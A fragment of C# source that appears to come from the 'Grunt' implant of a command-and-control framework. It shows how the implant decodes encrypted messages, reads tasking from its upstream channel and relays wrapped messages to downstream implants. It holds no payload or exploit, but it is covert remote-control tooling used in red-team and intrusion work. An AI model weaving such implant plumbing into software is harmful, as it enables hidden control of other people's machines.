private static GruntEncryptedMessage Parse(string Format, string Message) { string json = Common.GruntEncoding.GetString(Utilities.MessageTransform.Invert( Utilities.Parse(Message, Format)[0] )); if (json == null || json.Length < 3) { return(null); } return(GruntEncryptedMessage.FromJson(json)); }
public GruntTaskingMessage ReadTaskingMessage() { ProfileMessage readMessage = null; lock (_UpstreamLock) { readMessage = this.UpstreamMessenger.Read(); } if (readMessage == null) { return(null); } GruntEncryptedMessage gruntMessage = null; if (readMessage.Type == MessageType.Read) { gruntMessage = this.Profile.ParseGetResponse(readMessage.Message); } else if (readMessage.Type == MessageType.Write) { gruntMessage = this.Profile.ParsePostResponse(readMessage.Message); } if (gruntMessage == null) { return(null); } else if (gruntMessage.Type == GruntEncryptedMessage.GruntEncryptedMessageType.Tasking) { string json = this.Crafter.Retrieve(gruntMessage); return((json == null || json == "") ? null : GruntTaskingMessage.FromJson(json)); } else { string json = this.Crafter.Retrieve(gruntMessage); GruntEncryptedMessage wrappedMessage = GruntEncryptedMessage.FromJson(json); IMessenger relay = this.DownstreamMessengers.FirstOrDefault(DM => DM.Identifier == wrappedMessage.GUID); if (relay != null) { // TODO: why does this need to be PostResponse? relay.Write(this.Profile.FormatGetResponse(wrappedMessage)); } return(null); } }